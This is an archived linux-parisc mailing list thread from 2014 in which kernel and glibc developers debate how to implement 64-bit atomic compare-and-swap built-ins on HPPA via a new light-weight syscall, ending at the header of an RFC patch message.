X-Originating-IP: [76.65.36.170]
In-Reply-To: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5924>

On Wed, Jul 16, 2014 at 8:40 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> It seems that gcc on hppa currently doesn't support 64 bit atomic built-ins
> such as __sync_compare_and_swap().
>
> Looking at the current implementation, glibc calls the LWS CAS in the kernel
> to do the compare and swap operation in an atomic way.
> The current implementation of lws_compare_and_swap64 works only with 64 bit
> kernel.

This doesn't do what you want.

IIRC both swaps, the swap32 and swap64 operate only on a 32-bit quantity

However swap32 operates using 32-bit operands e.g. addresses and values.

While swap64 operates using 64-bit operands allowing you to access
64-bit addresses, but still doing only a 32-bit swap. The upper-half
of the 64-bit "new value" should be all zeros or the swap will never
succeed. I expect the loaded 32-bit value will be sign extended so you
have to take that into account. The truth is that I don't remember
ever testing the 64-bit entry point, but it's there fore 64-bit
processes.

This is what I intended when I wrote the ABI.

> In the case of a 32 bit kernel, I'm not sure if it's possible to implement
> an atomic CAS that would work on two registers at once. If it's possible,
> most probably a lws_compare_and_swap_dword or so LWS should be created as I
> can't see the current ABI working in this scenario. As far as I understand
> the code in syscall.S, it would just be a matter of adding a ldw/stw
> instruction pair in cas_action to have 64bit operations (on top of changing
> the ABI).

It is *absolutely* possible and very easy.

For a 32-bit kernel to do a 64-bit atomic operation it needs to do
everything in two steps while holding the lws_cas locks.

For a 64-bit kernel you can simply use load double-word.

> If we are running a 64bit kernel, I guess it might be possible to call
> lws_compare_and_swap64 from userspace, but it means that we would have to
> switch to wide mode in userspace prior to perform the call.
> Again, I'm not sure that this is doable as it seems that to do so, the RSM
> instruction needs to be used while it's a privileged level instruction.
> Another option is to create lws_compare_and_swap_dword with a different ABI
> that would take 64bit integers stored in two '32bit' registers, merge the
> registers into a single one and call lws_compare_ans_swap64.

I would avoid switching to wide mode in userspace because you can
still take a signal between the switch and entering the kernel and
that would be catastrophic since you'd be running 32-bit code in wide
mode without having taken the appropriate precautions.

I would suggest creating lws_compare_and_swap_dword with a distinct ABI.

You will need two return registers for the 32-bit ABI, high and low.

> For me, the best course of action here is to create
> lws_compare_and_swap_dword. Provided we can perform the CAS operation on two
> registers at once, it would solve the problem for 32bit userspace CAS to
> either kernel word size.

Agreed.

> Would this approach work or is it a dead end ?

It is not a dead end, it's quite a nice project and enables 64-bit or
N-bit atomics using LWS CAS.

> Any comments/advices ?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Wed, 16 Jul 2014 21:37:39 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <53C6D483.3000903@gmx.de>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be> <CAE2sS1hY-XB60MiBxguJgUCAFwJ8bxMuFHNqE40vW=OBafzwjg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405539480 30958 80.91.229.3 (16 Jul 2014 19:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2014 19:38:00 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>,
	Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 21:37:52 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7V1T-0004qv-0z
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jul 2014 21:37:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750943AbaGPThu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2014 15:37:50 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:59056 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750878AbaGPThu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2014 15:37:50 -0400
Original-Received: from [192.168.178.60] ([84.173.60.37]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Mcmmn-1Wq6lB1PzV-00Hteg; Wed, 16 Jul 2014 21:37:40
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <CAE2sS1hY-XB60MiBxguJgUCAFwJ8bxMuFHNqE40vW=OBafzwjg@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:cFJyTCVSQPDEoXt3Rul40qPIfNiflhBx0DwIP6+pyQ+5aw1q0Pz
 2z9JW+RcHwvKFMu28WPdiCtpo+zJDw+xgKUeE8KmrnhxdVIh3gHog0t9TVO+7zxqk5uVuHB
 GIMErcBcrj3XhsUg8HdmJ6IqJYIrxE/oOnWe937+ZbjYOngCQcRZUprysNwBtZ3JOnP41JU
 Et6XnBcKG6rK+5DJKY8xQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5925>

On 07/16/2014 04:24 PM, Carlos O'Donell wrote:
> On Wed, Jul 16, 2014 at 8:40 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
>> In the case of a 32 bit kernel, I'm not sure if it's possible to implement
>> an atomic CAS that would work on two registers at once. If it's possible,
>> most probably a lws_compare_and_swap_dword or so LWS should be created as I
>> can't see the current ABI working in this scenario. As far as I understand
>> the code in syscall.S, it would just be a matter of adding a ldw/stw
>> instruction pair in cas_action to have 64bit operations (on top of changing
>> the ABI).
> 
> It is *absolutely* possible and very easy.
> 
> For a 32-bit kernel to do a 64-bit atomic operation it needs to do
> everything in two steps while holding the lws_cas locks.

I agree this would work if userspace only modifies the atomic dword through the new lws call.
But is it still "atomic" if some other thread modifies the 64bit value not through the lws?
I mean, isn't there a possibility, that the upper or lower 32bit may be changed unexpectedly and out-of-sync?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Wed, 16 Jul 2014 14:16:23 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <1405545383.3165.34.camel@dabdike.int.hansenpartnership.com>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405545401 6174 80.91.229.3 (16 Jul 2014 21:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2014 21:16:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 23:16:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7WYu-000458-RE
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jul 2014 23:16:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752988AbaGPVQ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2014 17:16:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38139 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752634AbaGPVQZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2014 17:16:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6BDAF8EE0E4;
	Wed, 16 Jul 2014 14:16:24 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BnpE6F8H8bTy; Wed, 16 Jul 2014 14:16:24 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 11F078EE0A2;
	Wed, 16 Jul 2014 14:16:24 -0700 (PDT)
In-Reply-To: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
X-Mailer: Evolution 3.12.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5926
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5926>

On Wed, 2014-07-16 at 14:40 +0200, Guy Martin wrote:
> Hi all,
> 
> 
> It seems that gcc on hppa currently doesn't support 64 bit atomic 
> built-ins such as __sync_compare_and_swap().
> 
> Looking at the current implementation, glibc calls the LWS CAS in the 
> kernel to do the compare and swap operation in an atomic way.
> The current implementation of lws_compare_and_swap64 works only with 64 
> bit kernel.
> 
> In the case of a 32 bit kernel, I'm not sure if it's possible to 
> implement an atomic CAS that would work on two registers at once. If 
> it's possible, most probably a lws_compare_and_swap_dword or so LWS 
> should be created as I can't see the current ABI working in this 
> scenario. As far as I understand the code in syscall.S, it would just be 
> a matter of adding a ldw/stw instruction pair in cas_action to have 
> 64bit operations (on top of changing the ABI).

Atomic operations are only done at the natural width of the binary
architecture.  That means even on 32 bit x86 there's no natural atomic
64 bit swap and no expectation of one.  Glibc can emulate one, but it
shouldn't assume there's any natural machine op.

This should mean that a 32 bit kernel has no need at all for the 64 bit
ops to be implemented in kernel.

> If we are running a 64bit kernel, I guess it might be possible to call 
> lws_compare_and_swap64 from userspace, but it means that we would have 
> to switch to wide mode in userspace prior to perform the call.
> Again, I'm not sure that this is doable as it seems that to do so, the 
> RSM instruction needs to be used while it's a privileged level 
> instruction.
> Another option is to create lws_compare_and_swap_dword with a different 
> ABI that would take 64bit integers stored in two '32bit' registers, 
> merge the registers into a single one and call lws_compare_ans_swap64.

Same rule applies.  Until we have a 64 bit userspace, we have no use for
64 bit atomic swaps.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Wed, 16 Jul 2014 21:52:25 -0400
Lines: 76
Approved: news@gmane.org
Message-ID: <CAE2sS1i8ncnP135uKo1w6+S_JHV6T6_7mR9Pj-jzt9Wk-s_JQw@mail.gmail.com>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
	<1405545383.3165.34.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405561954 24550 80.91.229.3 (17 Jul 2014 01:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 01:52:34 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 03:52:28 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7as0-0007De-0h
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 03:52:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751901AbaGQBw1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2014 21:52:27 -0400
Original-Received: from mail-oi0-f47.google.com ([209.85.218.47]:45635 "EHLO
	mail-oi0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751693AbaGQBw0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2014 21:52:26 -0400
X-Greylist: delayed 41279 seconds by postgrey-1.27 at vger.kernel.org; Wed, 16 Jul 2014 21:52:26 EDT
Original-Received: by mail-oi0-f47.google.com with SMTP id x69so495242oia.20
        for <linux-parisc@vger.kernel.org>; Wed, 16 Jul 2014 18:52:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=qdYAyOrGcJBmGhKVHw9m16FJWB4r+bYZVDAUEC8SBhU=;
        b=Ql7hqDdohD9LDbHgn/AXocek+Gao3MxKNuB8o5xP7KFgLd4D7QwQ3ReoupjLTJOPJX
         zR7yzZp7s2OUpJCZgxhH5iN8nQ2uqBKP+OouJEr21J5LF464Wa0s7BQxPF223HklGVhq
         10tWWCRO4Ru3AcxhOjnECD0B1s8bKTM3dEObY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=qdYAyOrGcJBmGhKVHw9m16FJWB4r+bYZVDAUEC8SBhU=;
        b=ERpZKOftGo4iagZm7mEWZm6oUMIK0yy85+nxdX7QxSLKxBbiKUZNiNZgW41khvQbzX
         SZ5qBbCAGrbv1VRGprUhFgsfWDz3p86mFMRoKcGwenFshMRExF9P8gls2+qMiravrUFv
         GJBjZk9fKm7UvVHogOpNMDpk5qAHg6jsH9/HglvplnhhHxmdr6LJYfHxjz5n4SirBopy
         AKWiinETH4QWPXNjjGhXB7xxIMUusVfE0lXtirxQiqPcTjXQYfKJWITssyInR4JtdeBn
         tgcahb3vKkSJqSq1xoF52qaVSgmQv+ywdEKPtU1l1HBpX5rVN84OBQfXvoPp07NviKwK
         3HFQ==
X-Gm-Message-State: ALoCoQkJHln6+9pRlbHztmlpl/1M8Nz8i5A8LiFU3X7DzcArU9hKxX6iPpgKufxn5LOmvHzZfmXo
X-Received: by 10.182.44.197 with SMTP id g5mr40745771obm.18.1405561946003;
 Wed, 16 Jul 2014 18:52:26 -0700 (PDT)
Original-Received: by 10.76.34.3 with HTTP; Wed, 16 Jul 2014 18:52:25 -0700 (PDT)
X-Originating-IP: [99.240.152.175]
In-Reply-To: <1405545383.3165.34.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5927>

On Wed, Jul 16, 2014 at 5:16 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Wed, 2014-07-16 at 14:40 +0200, Guy Martin wrote:
>> Hi all,
>>
>>
>> It seems that gcc on hppa currently doesn't support 64 bit atomic
>> built-ins such as __sync_compare_and_swap().
>>
>> Looking at the current implementation, glibc calls the LWS CAS in the
>> kernel to do the compare and swap operation in an atomic way.
>> The current implementation of lws_compare_and_swap64 works only with 64
>> bit kernel.
>>
>> In the case of a 32 bit kernel, I'm not sure if it's possible to
>> implement an atomic CAS that would work on two registers at once. If
>> it's possible, most probably a lws_compare_and_swap_dword or so LWS
>> should be created as I can't see the current ABI working in this
>> scenario. As far as I understand the code in syscall.S, it would just be
>> a matter of adding a ldw/stw instruction pair in cas_action to have
>> 64bit operations (on top of changing the ABI).
>
> Atomic operations are only done at the natural width of the binary
> architecture.  That means even on 32 bit x86 there's no natural atomic
> 64 bit swap and no expectation of one.  Glibc can emulate one, but it
> shouldn't assume there's any natural machine op.

That's right.

Which speaks to Helge's comment.

Userspace algorithms can't expect that a 64-bit write will be atomic
with respect to a 64-bit atomic operation.

You must use the atomic operations to both read and write the
wider-than-natural-width types.

> This should mean that a 32 bit kernel has no need at all for the 64 bit
> ops to be implemented in kernel.

Has no need, yes, but from the userspace perspective such an operation
helps write algorithms that take advantage of 64-bits of atomic
storage without having to deal with signals, interruptions, locking
semantics etc.

Particularly when you are porting an algorithm that is already proven
and uses a 64-bit atomic, having these features means you don't have
to rewrite all the algorithms during the port.

Case in point I created LWS CAS to avoid having to rewrite all the
nptl threading algorithms for hppa based on ldcw.

>> If we are running a 64bit kernel, I guess it might be possible to call
>> lws_compare_and_swap64 from userspace, but it means that we would have
>> to switch to wide mode in userspace prior to perform the call.
>> Again, I'm not sure that this is doable as it seems that to do so, the
>> RSM instruction needs to be used while it's a privileged level
>> instruction.
>> Another option is to create lws_compare_and_swap_dword with a different
>> ABI that would take 64bit integers stored in two '32bit' registers,
>> merge the registers into a single one and call lws_compare_ans_swap64.
>
> Same rule applies.  Until we have a 64 bit userspace, we have no use for
> 64 bit atomic swaps.

I disagree. See the rationale above which argues it is out of a
practical necessity for porting algorithms wholesale without
modification.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Thu, 17 Jul 2014 10:44:33 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <f6a350becc52f31a47a279ea1c557c54@tuxicoman.be>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
 <1405545383.3165.34.camel@dabdike.int.hansenpartnership.com>
 <CAE2sS1i8ncnP135uKo1w6+S_JHV6T6_7mR9Pj-jzt9Wk-s_JQw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405586741 28815 80.91.229.3 (17 Jul 2014 08:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 08:45:41 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 10:45:29 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7hJf-0001sU-4q
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 10:45:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755427AbaGQIpZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 04:45:25 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:57498 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754590AbaGQIpU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 04:45:20 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Thu, 17 Jul 2014 10:44:03 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1X7hIn-0007ib-Ap; Thu, 17 Jul 2014 10:44:33 +0200
In-Reply-To: <CAE2sS1i8ncnP135uKo1w6+S_JHV6T6_7mR9Pj-jzt9Wk-s_JQw@mail.gmail.com>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5928>

On 2014-07-17 03:52, Carlos O'Donell wrote:
> Userspace algorithms can't expect that a 64-bit write will be atomic
> with respect to a 64-bit atomic operation.
> 
> You must use the atomic operations to both read and write the
> wider-than-natural-width types.
> 

Reviewing HPPA 1.1 specs, I see that the FPU has 64bit registers.
Can't we use those registers to perform 64bit atomic load and store ?

As far as I can see, FLDDX and FSTDX should be able to do the job.
Unless there is something I'm missing about the FPU :)

>> This should mean that a 32 bit kernel has no need at all for the 64 
>> bit
>> ops to be implemented in kernel.
> 
> Has no need, yes, but from the userspace perspective such an operation
> helps write algorithms that take advantage of 64-bits of atomic
> storage without having to deal with signals, interruptions, locking
> semantics etc.
> 
> Particularly when you are porting an algorithm that is already proven
> and uses a 64-bit atomic, having these features means you don't have
> to rewrite all the algorithms during the port.
> 
> Case in point I created LWS CAS to avoid having to rewrite all the
> nptl threading algorithms for hppa based on ldcw.
> 

Just to add up on this, I often use 64 bit __sync_fetch_and_add() for
performance counter in a software I develop. It's really useful if
you don't want to bother with having a lock per performance object.

   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Thu, 17 Jul 2014 08:46:50 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <BLU436-SMTP6499F56375FADE0760621D97F40@phx.gbl>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be> <1405545383.3165.34.camel@dabdike.int.hansenpartnership.com> <CAE2sS1i8ncnP135uKo1w6+S_JHV6T6_7mR9Pj-jzt9Wk-s_JQw@mail.gmail.com> <f6a350becc52f31a47a279ea1c557c54@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405601553 21280 80.91.229.3 (17 Jul 2014 12:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2014 12:52:33 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 14:52:24 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7lAX-0006JW-V3
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Jul 2014 14:52:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757208AbaGQMwR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2014 08:52:17 -0400
Original-Received: from blu004-omc4s31.hotmail.com ([65.55.111.170]:54081 "EHLO
	BLU004-OMC4S31.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755400AbaGQMwQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2014 08:52:16 -0400
X-Greylist: delayed 308 seconds by postgrey-1.27 at vger.kernel.org; Thu, 17 Jul 2014 08:52:16 EDT
Original-Received: from BLU436-SMTP64 ([65.55.111.135]) by BLU004-OMC4S31.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Thu, 17 Jul 2014 05:47:08 -0700
X-TMN: [nYfe8aAyBOmy/YvIsOHq2nlUzDKqJ8Q3]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Thu, 17 Jul 2014 05:47:06 -0700
In-Reply-To: <f6a350becc52f31a47a279ea1c557c54@tuxicoman.be>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Jul 2014 12:47:06.0739 (UTC) FILETIME=[37668430:01CFA1BD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5929>

On 17-Jul-14, at 4:44 AM, Guy Martin wrote:

> On 2014-07-17 03:52, Carlos O'Donell wrote:
>> Userspace algorithms can't expect that a 64-bit write will be atomic
>> with respect to a 64-bit atomic operation.
>> You must use the atomic operations to both read and write the
>> wider-than-natural-width types.
>
> Reviewing HPPA 1.1 specs, I see that the FPU has 64bit registers.
> Can't we use those registers to perform 64bit atomic load and store ?
>
> As far as I can see, FLDDX and FSTDX should be able to do the job.
> Unless there is something I'm missing about the FPU :)

Yes, although I believe there are some restrictions involving loads  
and stores
to I/O space.  There are atomic_loaddi and atomic_storedi patterns  
implemented
in GCC to do 64-bit loads and stores.

>
>>> This should mean that a 32 bit kernel has no need at all for the  
>>> 64 bit
>>> ops to be implemented in kernel.
>> Has no need, yes, but from the userspace perspective such an  
>> operation
>> helps write algorithms that take advantage of 64-bits of atomic
>> storage without having to deal with signals, interruptions, locking
>> semantics etc.
>> Particularly when you are porting an algorithm that is already proven
>> and uses a 64-bit atomic, having these features means you don't have
>> to rewrite all the algorithms during the port.
>> Case in point I created LWS CAS to avoid having to rewrite all the
>> nptl threading algorithms for hppa based on ldcw.
>
> Just to add up on this, I often use 64 bit __sync_fetch_and_add() for
> performance counter in a software I develop. It's really useful if
> you don't want to bother with having a lock per performance object.

There is a need for 64-bit atomics in a number of packages.  In the  
other
direction, some packages would like atomic bit operations.

As Helge pointed out, none of the sync atomics available on parisc are  
lock free.  As such,
one can't use loads and stores to operate on locations modified by LWS  
CAS operations.
Even in a simple userspace spin lock implementation, we found a race  
condition in trying
to reset the lock with a simple store.  The lock had to be reset using  
a LES CAS operation.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC PATCH] 64bit LWS CAS
Date: Thu, 17 Jul 2014 22:00:00 +0200
Lines: 402
Approved: news@gmane.org
